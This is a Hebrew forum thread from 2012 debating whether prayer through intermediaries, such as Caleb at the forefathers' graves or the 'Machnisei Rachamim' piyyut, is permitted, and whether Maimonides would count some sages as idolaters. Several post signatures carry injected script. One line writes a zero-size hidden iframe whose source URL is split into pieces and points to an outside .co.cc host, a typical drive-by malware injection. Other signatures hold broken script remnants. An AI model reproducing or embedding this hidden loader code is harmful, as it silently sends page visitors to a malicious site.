| נשלח ב-17/6/2012 20:09 |
|
| |
תפילה דרך אמצעי / על קברי אבות
ידוע הפולמוס סביב פיוטי הסליחות 'מכניסי רחמים' ו'מידת הרחמים עלינו התגלגלי', האם נכון לאומרם או לא.
כבר בתקופת הראשונים (הרוקח ועוד) היו שנמנעו מלאומרם משום שאין להתפלל על ידי אמצעי, ואף היו שהתבטאו בחריפות כנגד אותם תפילות.
והנה בשבת זו נתקלתי בגמ' סוטה ל"ד: "אמר רבא: מלמד, שפירש כלב מעצת מרגלים והלך ונשתטח על קברי אבות, אמר להן: אבותי, בקשו עלי רחמים שאנצל מעצת מרגלים".
ותמהתי, מה זה שונה מתפילת מכניסי רחמים ? (עד שראיתי את הגמ' חשבתי שכלב התפלל להשם ישירות, ויתכן וקברי אבות מסוגלים יותר לתפילה, או משהו כעין זה. אבל מנוסח תפילת כלב המפורש בגמ' אנו למדים שהוא פנה לאבות כאמצעי שיבקשו עליו רחמים מאת ה')
|
|
|
|
| נשלח ב-17/6/2012 20:34 |
|
| |
אמצעי מועדף ממושכלך הראשון שכביכול מבקש ישירות,כי לבקש ישירות מקומו בבית המדרש ומה לו לכהן בבית הקברות,ולגבי כלב העניין חלק יותר ,אמצעי הוא דרך בקשה שימליצו טוב בעדו ואינו מחודש יותר מאחד שיש לו חולה בביתו שהגמרא אומרת ילך אצל חכם ויבקש עליו רחמים, ואכן המאירי מפרש שם שילך לחכם שילמדו היאך מבקשים רחמים,וכמובן שדחק מתוך דוחקו, הדקויות בתור טיעון מתחילים בשאר בקשות דרך פרקי תהלים שעל כרחך מופנים להקבה ואם כן למה לו בית הקברות , אלא שמבקש מהצדיק שימליץ בעדו שיתקבלו תחנוניו, ועדיין כמדומני יש שערערו גם מטעם דורש אל המתים וכאן הראיה מכלב לכאורה פותרת בעיה זו.
|
|
|
|
| נשלח ב-17/6/2012 23:26 |
|
| |
ייתכן שההבדל הוא שכלב ביקש מהאבות שייצגו אותו ויתפללו בעדו, ואילו האיסור הוא להתפלל דרך מתווך כמייצג את הקב"ה. האם ייאסר עליך לבקש מחברך שיתפלל בעבורך כי הוא מתווך? לא יעלה על הדעת. והלא מקרא מלא הוא ": ויבֹא העם אל משה ויאמרו חטאנו...התפלל אל ה' ויסר מעלינו את הנחש", ומשה קיבל דבריהם והתפלל בעדם ללא כל תוכחה. לעומת זאת, בתפילת 'מכניסי רחמים', יש מקום לדיון אם פונים בה אל המלאכים כמייצגי המתפלל או ח"ו כמייצגי הקב"ה, לכן היו שאסרו מחשש שמשמעות הדברים נוטה לצד האחרון.
|
|
|
|
| נשלח ב-18/6/2012 00:17 |
|
| |
אברהם
יתכן שהמספר של הסיפור, להבדיל מכלב עצמו שלא ידע כנראה מה יתלו בו (זה שביקר בקברי אבות הוא חידוש של רבותינו, ללא עוגן ממשי בכתוב, הלא כן?) - ביקש לבטא את הפחד של כלב מכשלון, ובכך אולי לסייע להסבר של פרשיה תמוהה: כיצד המרגלים הוציאו דיבה ונכשלו כל כך.
ואולי הפרשנות נועדה לא רק עבור הסיפור המקרא אלא כרמז לבני זמנו?
בכל אופן, האם רבא, בעל הסיפור, השתמש בביטוי כזה מפני שהוא היה נפוץ, או בתור לשון גוזמא? הרי אדם יכול להשתמש בלשון כזו גם אם אין הוא מתכוון באמת לגייס את אבותיו שיתפללו עבורו או יעזרו לו בשמים.
ובאמת ראוי לבדוק מה הנחות היסוד של אמירה כזו. בין של רבא, בין של מי שישתמש בביטוי כזה בתקופת הגמרא, אם השתמשו בו.
לפנינו אם כן מספר רמות של דיון:
א. מה עשה כלב לפי המקרא?
ב. מה מייחס לו רבא?
ג. מדוע משתמש כלב לפי הסיפור בביטוי כזה? האם באמת יש מי שייחס משמעות לבקשה מאבות שמתו או מאבות האומה?
ראוי להצביע על מקורות דומים. על המחלוקת בין האמוראים אם ומדוע יוצאים לבתי עלמין בימי תענית ציבור (יש מי שאומר כדי שיבקשו המתים רחמים עלינו) ועל סיפור בן דורדיא (ע"ז יא א) שביקש שהשמים והארץ יבקשו עליו רחמים. ודי ברור למעיין שם, לדעתי, שכל הבקשה לא באה אלא כדי לספק את התשובה שלהם: עד שאתה מבקש שנבקש עליך, בקש אתה עלינו, שהרי התנה הקב"ה שנחזור לתוהו ובוהו אם לא ישמרו ישראל את התורה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-18/6/2012 12:38 |
|
| |
יש מצב שיתברר שלפי הגדרת המונותאיזם המשופרת של הרמב"ם עולה כי התלמודיסטים שמפיהם אנו חיים היו עובדי אלילים?
|
|
|
|
| נשלח ב-18/6/2012 12:59 |
|
| |
רציו
האם ההגדרה של הרמב"ם היא חידוש שלו?
איזה חלק ממנה?
האם לפי פרשנות מסויימת של הרמב"ם לא יצא שרק הפילוסוף כמו הרמב"ם נקי מכל עבודה זרה?
*** אני מבין שכוונתך היא לשאול כך: האם יכול להיות שבין חכמי התלמוד יש כאלו שתפיסת האלוקות שלהם היתה פרימיטיבית במובן זה שהרמב"ם היה מגדיר אותם כעובדי אלילים?
כבר כתב לורברבוים שאצל חז"ל היתה אמונה בצלם אלוקים במובן די פרימיטיבי. ויש סבורים שהוכיח את טענתו (אתה יכול לדייק שאיני ביניהם).
אז אולי התשובה לשאלה שלך תלויה בשאלה מוקדמת: לפי מי? ובעיקר: מה הראיות המבררות מה סבר הרמב"ם, מה סברו חז"ל, ואיך הרמב"ם היה מפרש אותם?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-18/6/2012 22:38 |
|
| |
לא מגשימים.
עובדי אלילים.
היינו, מאמינים שיש ישויות אחרות שיש לפלוח אליהם ו/או בעלי כוחות בלתי תלויים ב one true God (גם אם האחרון הוא זה שברא אותם)
למשל, מתים (עונה על קריטריון א') או השטן (עונה על קריטריון ב').
|
|
|
|
| נשלח ב-19/6/2012 00:08 |
|
| |
רציוס'
דעה שיש לעבוד לישויות אחרות מצויה, עד כמה שידוע לי, כבר בפרקי דר' אליעזר, ושוב משמשת את הרמב"ן בפירושו למצות שעיר לעזאזל.
ושוב, מאוחר יותר, בקבלת הזוהר ועוד. אבל השאלה שלך היתה על חז"ל, ועד כמה שידוע לי, הזוהר מאוחר הרבה יותר.
בוודאי שלפי הרמב"ם דעת פרקי דרבי אליעזר שהבאת השעיר לעזאזל היא עבור ישות כזו, עזאזל, אזי מי שסבור כך הוא עובד עבודה זרה.
וכן גם דעתי שלי - אם זה קובע משהו.
__תוקן בכל מקום שאני מזכירו ל"פרקי דרבי אליעזר" מפני שאין כמעט קשר בין רבי אליעזר התנא לבין הספר המאוחר, שלפחות חלקו נכתב בימים שלאחר הופעת האיסלם. בשעתו היה לנו אקדמאי חרדי שהתמחה בפרקי דר' אליעזר, וכבר שכחתי את ניקו, והוא פתח כמה אשכולות בנושאים אלו ואחרים על החיבור._______________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 19/06/2012 00:09:50
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-19/6/2012 00:34 |
|
| |
אם רבים מראשונינו היו עובדי עבודה זרה לדעתו הנכונה והצודקת של מיימוני, למה שנסמוך עליהם בשאר הענינים שהמסורת עברה על ידם?
???
|
|
|
|
| נשלח ב-19/6/2012 00:45 |
|
| |
עליית הדורות.
|
|
|
|
| נשלח ב-19/6/2012 01:04 |
|
| |
כי הם אונזערע?
|
|
|
|
| נשלח ב-19/6/2012 01:57 |
|
| |
| מיימוני כתב: |  | רציו
האם ההגדרה של הרמב"ם היא חידוש שלו?
איזה חלק ממנה?
האם לפי פרשנות מסויימת של הרמב"ם לא יצא שרק הפילוסוף כמו הרמב"ם נקי מכל עבודה זרה?
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
|
|
מונותאיזם בגירסת היהדות החז"לית, נאמר, הוא אמונה באל אחד שיצר את העולם, על כוחות וחוקי הטבע, ex nihilo (באמונה ששלטה בימי בית ראשון לא בהכרח שזה היה כך, אפילו כשהיה מונותאיזם ולא רק הנותאיזם, ואכמ"ל) פוליתאיזם הוא אמונה בריבוי ישויות בעלות כוחות. הפוליתאיזם שנפוץ בעבר האמין שכולן כפופות לחוקי הטבע, חלקן יצרו את חלקן האחר (בטרמינולוגיה תאיסטית מודרנית ישויות כאלו לא מוגדרות כאלים, ולכן מדובר בעצם באתאיזם + אמונה בחייזרים עם טכנולוגיה מתקדמת. ראיתי את התובנה הזו ב'אקדמיה ליהדות' והסכמתי עם הרעיון) לכן קשה להנגיד בין שתי העמדות. אם וכאשר המונותאיזם היהוויסטי הגדיר את י-הוה ככפוף לחוקי הטבע (אם כי אולי הרבה יותר גדול מאלוהי העמים האחרים), היה ניתן להנגיד ביניהן בקלות. לחילופין, ניתן להנגיד מונותאיזם מודרני עם עמדה (היפותטית) שבה את העולם, על כוחות וחוקי הטבע, יצרו מספר ישויות ex nihilo.
כך או אחרת, ברור שקיימות בעולם ישויות בעלות כוחות שמאופיינות ב so-called 'בחירה חופשית' (בלי להכנס לבעיה הלוגית שבמושג) - בני אדם. ישויות אלו מסוגלות לקדם את האינטרסים שלך אם תרצנה, ויש אפשרות לגרום להן לעשות כך (לבקש מהן). ככל הידוע לי, אין ביהדות איסור להלל בני אדם, להשתחוות להם, להביא להם אוכל, לקבל אותם על עצמנו כישות מחוקקת, ולבקש מהם בקשות = פעולות שעושים ביחסים עם אלוהים = לפלוח לבני אדם. אז מדוע יגרע חלקם של המלאכים / כוכבים בעלי נפש / שטן / חייזרים (בהנחה המפוקפקת שאלו קיימים, בעלי יכולת השפעה על עולמנו, וניתן לתקשר איתם, כמובן)? בגלל שהם רחוקים מאיתנו? בגלל שהם במימד so-called 'לא-פיזי'?
לדעתי מונותאיזם יוגדר כאמונה שיש רק ישות אחת שיצרה את העולם (כלומר אלוהות-במובן-המודרני יחידאית), על כוחות וחוקי הטבע שלו, ex nihilo. ותו לא מידי. ממי לבקש בקשות אין זה מעניינו של התאיזם לפי ההגדרה המודרנית וזה גורם להקלע לאינקונסיסטנטיות.
|
|
|
|
|
| נשלח ב-19/6/2012 07:29 |
|
| |
סימני שאלה
ברוך הבא אל הפורום!
צר לי שיצאה מכשלה מתחת ידי. כלומר, הטעיתי.
האם נתתי מקום למחשבה כי רוב רבותינו בימי התלמוד האמינו בעבודה זרה?
עלי לעיין שוב במה שכתבתי.
כמדומה שציינתי שתמיכה ברעיון שיש לעבוד לכוחות שאינם ה' מצויה רק בספר פרקי דר' אליעזר, שאינו לרבי אליעזר למרות שמו, והוא מאוחר מאד - מימי ראשית האיסלם.
נכון שהרעיון הזה קנה שביתה אצל כמה מפרשים ידועים, ומעל כולם הרמב"ן.
אולם קודם לכן - עד כמה שאני יודע - אין לו זכר. הדיון על שעיר לעזאזל כקרבן לישות שקיימת ככוח עצמאי מתחיל רק שם, במאה השביעית אחרי הספירה.
וגם כאן, יש לשים לב, הטענה של המחבר ואחר כך של הרמב"ן אינה שעבודת ישות אחרת היא מצוה או תועלתית, אלא רק שה' ציווה לתת לו פולחן באופן ייחודי, ואילולא כן היה הדבר אסור.
זה עדיין חמור מאד לדעתי, אבל לא פוליתיאיזם.
***
ככלל, יש להבדיל בין כמה שיטות מחשבה.
א. מונותיאיזם. המילה הזו מצביעה על האמונה שיש אלוקים אחד בלבד. האמונה הזו מוכרת בכל התנ"ך והיא מיוחסת בו לאברהם אבינו.
חוקרים שונים ניסו לערער עליה, ובמיוחד בדור האחרון ערעור זה רווח גם אצל יהודים חוקרי מקרא. איני רוצה לערבב את הנושאים, כי לדעתי זו טעות אבל חבל להכניס את הנושא הזה לאשכול הזה, שרצה לעסוק בתפילה בקברי אבות. וכמדומה שהנושא הזה נשכח. גם משום שאני עצמי התייחסתי לפרטים מתקופות אחרות. כמו בסעיף זה.
ב. פוליתיאיזם. זו אמונה שיש אלילים רבים. ואולי לכל אומה אלילים שלה וכולם קיימים וכולם בעלי שליטה וכוחות.
זו אמונה פרימיטיבית, אבל בגרסאות שונות היא רווחה בכל ההיסטוריה. האם אמונה שיש כוח בשם שטן שנאבק באלוקים ולמעשה העולם החומרי בשליטתו וכך יהיה עד שיבוא המשיח בן האלוהים - איך יש לדרג את האמונה הזו? האין היא דואליסטית?
היא מצויה בנצרות. אבל אפשר למצוא מוטיבים דואליסטיים - מאבק בין הטוב לרע גם בקבלה, החל מדור מסויים, וגם בספרים החיצוניים שנכתבו בידי בית שני. והעדויות הראשונות לתפיסה דואליסטית מוכרות בפרס העתיקה, כבר בימי בית ראשון כמדומה.
*** בכל הדורות היו יהודים שהאמינו בשטויות. גם בדורנו וגם בימי בית שני ובית ראשון. היו יהודים שנתפסו לגרסה מוקדמת של הנצרות במאות השנים הראשונות שלה, לפני שהתגבשו אמונות נוצריות ששוב לא התאימו כלל לאמונות ישראל, כך שיהודי יכול היה לחוש שהוא יהודי טוב וגם נוצרי. היום יש מאמיני קבלה שבעיני הם שוגים ומאמינים בעבודה זרה (כפי שיתבאר). אבל כל זה לא חדש. בימי הנביאים עבדו עבודה זרה, וגם כאשר משה עלה להר סיני בנו בינתים את העגל ועבדו לו.
*** הוראה שיש לעבוד עבודה זרה, בין בגלל שזה "עובד" ומועיל, בין בגלל שה' צווה על זה (ויש הבדל בחומרה בין שתי אמונות אלו) - היא עבודה זרה. אבל גם האמונה שיש כוחות פעילים, שה' נתן להם מקום, היא אמונה מזיקה ושגויה. ואמונה זו מצויה אצל רבנים והוגי דעות המשתייכים לזרם שנחשב לגיטימי. למשל הרמח"ל.
*** כאשר אומרים שכדאי לציית לחזק כי הוא יכול לעזור לך, האם זו עבודה זרה? זו שאלה טובה מאד שהעלה רציוסקפטי. אבל סבורני שיש הבדל בין הטענות הבאות:
א. אלכסנדר, נפוליאון, אובאמה, כולם מנהיגים רבי עוצמה בשעתם, ולכן כדאי למצוא חן בעיניהם ולהחמיא להם ולעשות את רצונם כדי לקבל טובות הנאה.
ב. השטן הוא כוח רב עוצמה ולכן כדאי למצוא חן בעיניו כדי לקבל טובות הנאה.
ג. זאוס (ראש אלילי יוון), ברהמה (מאלילי הודו), אהרימן (כוח הרע בדואליזם הפרסי העתיק), כולם כוחות רבי עוצמה ולכן כדאי לעבוד להם ולקבל טובות הנאה.
כמדומה שסעיפים ב ו-ג הם מבטאים אמונות של עבודה זרה (ושוב, בשתים: הכרה בכוחות שאינם קיימים וקריאה לעבודתם).
אבל סעיף א מבטא רק עצה תועלתנית. כדאי לציית למי שחזק.
אם נפוליאון, אלכסנדר ואובאמה היו מציבים פסל שלהם ותובעים להקריב לו קרבנות, זו כבר היתה עבודה זרה האסורה. כפי שנהג בשעתו אנטיוכוס ממלכי סוריה, וגרם למרד החשמונאי.
יתכן שקשה להגדיר את ההבדל בין תביעת מלך או נשיא שיעמדו לכבודו ויצייתו להוראותיו לבין תביעת מלך שיקריבו קרבנות לפסל שלו. האם אלו תביעות שונות לגמרי מהותית או שהן מצויות על רצף? אבל עדיין הסוג האחרון, תביעת קרבן, היא תביעה לעבודה זרה, ואילו הראשונות, בקשה לכבוד וציות, הן מנהגי מלכים, ואינן עבודה זרה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-19/6/2012 12:05 |
|
| |
מיימוני הנכבד תודה על התשובה המפורטת, אבל, אחרי כל הפירוט, לא ענית לשאלתי. הרמב"ן האמין שיש מצווה להקריב לכחות אחרים? הוא האמין שהספר פדר"א הוא מרז"ל? וכמותו עוד ראשונים ואחרונים רבים? זה עבודה זרה? קרוב לעבודה זרה? למה אתה סומך עליהם בהלכה ובמסורת התורה, אחרי שאתה יודע שטעו בדברים חמורים כאלה?
???
_________________
|
|
|
|
| נשלח ב-19/6/2012 14:39 |
|
| |
מיימוני,
פשוט חזרת על המציאות שפולחן לאדם לא נחשב ל'עבודה זרה' ופולחן לישויות לא-אנושיות נחשב ל'עבודה זרה', לא הצעת רציונל לחלק בין המקרים. שאלתי נותרה בעינה: מבחינה פילוסופית, מאי שנא?
אגב, איפה בתנ"ך (ולא באגדות חז"ל) נאמר שאברהם היה מונותאיסט ו/או ראש וראשון למונותאיסטים? במקרא, עד כמה שזכור לי, מסופר על אינטראקציה בין אברהם לאל/ים 'י-הוה' ו'אל שדי'. הסכמים הדדיים וכו'. אבל איפה כתוב שהוא היה מונותאיסט?
|
|
|
|
| נשלח ב-19/6/2012 18:30 |
|
| |
סימני שאלה
אנסה לענות:
א.האם הרמב"ן האמין שיש מצווה להקריב לכחות אחרים?
לפי משמעות לשונו ולפי הסברה ודאי שלא.
הוא כן האמין שאם ה' מצוה להביא מעין קרבן ל"כוח אחר" אז זו מצוה.
האם הוא האמין שהספר פדר"א הוא מרז"ל?
אני סבור שכן. ואין זה המקרה היחיד שכל מה שבא מדורות קדומים נחשב בעיני רבותינו בעבר לספר קדוש וראוי.
ב. האם כמו הרמב"ן סברו עוד ראשונים?
לא ידוע לי לכאן או לכאן. כלומר, אני בור גם בדבר זה.
האם זה עבודה זרה? קרוב לעבודה זרה?
אם כוונתך ב"זה" להקרבת השעיר לעזאזל, אז לפי הרמב"ן זו לא עבודה זרה כי ה' צווה על זה, ולפי הרמב"ם זו עבודה זרה מפני שאין כזו ישות שתקבל את הקרבן וה' גם לא יצוה לעולם על הקרבה ל"כוח" אחר. ואדרבה, זו היתה טעותם של בני דור אנוש שכך החלו לעבוד לכוכבים, לפי התיאוריה הדתית-היסטורית של הרמב"ם.
ג. שאלת: למה אתה סומך עליהם בהלכה ובמסורת התורה, אחרי שאתה יודע שטעו בדברים חמורים כאלה?
אתחיל מהסוף. היכן מצאנו ש"עוד" ראשונים טעו כמו הרמב"ן ומה הם "עוד דברים חמורים" שבהם טעו?
ובמה נבדלות טעויות זו מזו, לומר שזו חמורה וזו לא? (יש תשובה, אבל צריך להגדיר).
בוודאי שיש מחלוקות שונות בראשונים, כפי שיש גם בגמרא.
ומה פירוש "סומך עליהם"?
אם הכוונה שדבריהם בדרך כלל ראויים ללימוד ולבחינה, אני מסכים.
וראה נא באשכול שפתחתי על "אמונת חכמים של חכמים" מול זו של ההמון.
אם הכוונה שיש לנו לאמץ את דבריהם רק בגלל שהם אמרו אותם, בין נבין בין לא נבין, אין זו דרכי.
אמנם אם יש כאלו שסבורים שברגע שמשהו כתוב הוא כבר מחייב, למאמין כזה יש בעיה...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
|